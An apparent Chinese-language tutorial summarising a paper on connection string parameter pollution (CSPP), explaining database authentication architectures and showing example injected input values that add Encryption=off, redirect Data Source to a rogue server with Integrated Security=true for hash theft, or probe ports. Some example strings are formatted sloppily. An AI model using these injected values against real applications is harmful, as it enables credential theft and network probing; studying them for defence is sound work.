CSPP 连接字符串参数污染攻击

    SQL注入攻击是最常见的注入攻击方法，主要利用web应用调用数据库查询的实现缺陷来进行攻击。

    CSPP攻击，顾名思义，则是通过利用应用程序连接到数据库过程中设计缺陷来进行漏洞攻击。

    由于现在WEB应用数据查询体系的发展方向，导致CSPP攻击已经逐渐消失在大众的目光下。

    如果你不知道的话，那就来和我一起学习吧

本文主要由CSPP论文译文简述与我的额外附录组成。 并描述了CSPP攻击利用：Hash窃取、端口扫描、劫持登录证书。

参考论文: Connection String Parameter PollutionAttacks即：CSPP 连接字符串参数污染攻击

典型的web应用程序的身份验证系统有两种实现结构: 

1、创建自己的凭据认证系统 （目前常见于WEB应用）

2、将其委托给数据库引擎（目前常见于内网应用）

在大多数情况下，应用程序开发人员选择只使用一个用户连接数据库。

从数据库端来看，这个数据库用户代表整个web应用程序，web应用程序将使用这一个数据库连接，来实现对存储应用程序的用户身份凭证的自定义用户表进行SQL查询。

图1.公共web应用程序身份验证体系结构

Web应用程序管理登录过程

1.Web应用程序使用它的凭据连接到数据库

2.查询用户登录信息

3.检查存储在用户自定义表中的用户登录信息

    web应用程序由一个数据库用户标识，该用户可以访问数据库中的整个应用程序内容，因此，不可能在数据库中的不同对象上实现粒度化的权限系统，或者跟踪web应用程序中每个用户的操作，只能将这些任务委托给web应用程序本身。 这种架构很常见，可以在广泛使用的CMS系统中找到，如Joomla、Mambo和许多其他系统。通常情况下,攻击者的目标是从数据库中的users表中获取应用程序用户凭据。

另一种方法是将身份验证委托给数据库引擎，这样连接字符串就不再包含一组固定的凭据，而是使用用户输入的凭据，并由数据库引擎负责检查它们。

数据库管理程序经常使用这种委托身份验证，以便连接到应用程序的用户只能访问和控制他拥有权限的对象和操作。有了这种架构，就可以实现一个细粒度的权限系统，并能够在数据库中跟踪用户的操作。

图2.Web应用程序委托身份验证体系结构。

数据库引擎管理登录过程

1.web应用要求输入凭证

2.连接字符串由要连接到数据库的输入凭证组成

3.连接字符串中使用的用户的决定着账号的角色和权限

一个用于连接到MicrosoftSQL Server数据库的普通连接字符串:

"Data Source=Server, Port; NetworkLibrary=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;"  #为了显示效果进行换号

如示例所示，连接字符串是由分号(;)分隔的参数集合，每个参数是一个键值对，

无论SQL server是什么版本(7,2000,2005和2008)，其中默认支持程序的连接字符串语法是相同的

在授权认证环境中，连接字符串注入技术允许攻击者通过在参数后面附加分号(;)来注入参数。

在一个要求用户输入用户名和密码以创建连接字符串的示例中，攻击者可以输入密码，例如 "pwd;Encryption=off",产生的连接字符串如下:

"Data Source=Server, Port; NetworkLibrary=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;Encryption=off"

此时，填充连接字符串时，加密值将添加到前面配置的参数中

Data source SQL2005; initial catalogdbl ; integrated security=no; user id=+' User_Value' + ; Password=+'PasswordValue' + ;
PS: integrated security 集成安全属性 后文有介绍

UserValue: Data Source = 欺诈服务器地址PasswordValue: Integrated Security true    

Data source SQL2005; initial catalogdbl; integrated security=no; user id=;Data Source=欺诈服务器地址; Password Integrated Security=true

User_Value: Data Source =IP, PortPassword Value:IntegratedSecurity true

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Server, Port; Password=;Integrated Security=true;

User Value: Data Source =Target_Server Password Value: Integrated Security true

Data source SQL2005; initial catalog dbl ; integratedsecurity=no; user id=;Data Source=Server,Port; Password Integrated Security=true;

string constr = "Data source=(local);initial catalog=data;integratedsecurity=true";

"Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8"

"Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;"

"DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no"

"Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.WebDBMyData.mdb;Persist Security Info=False"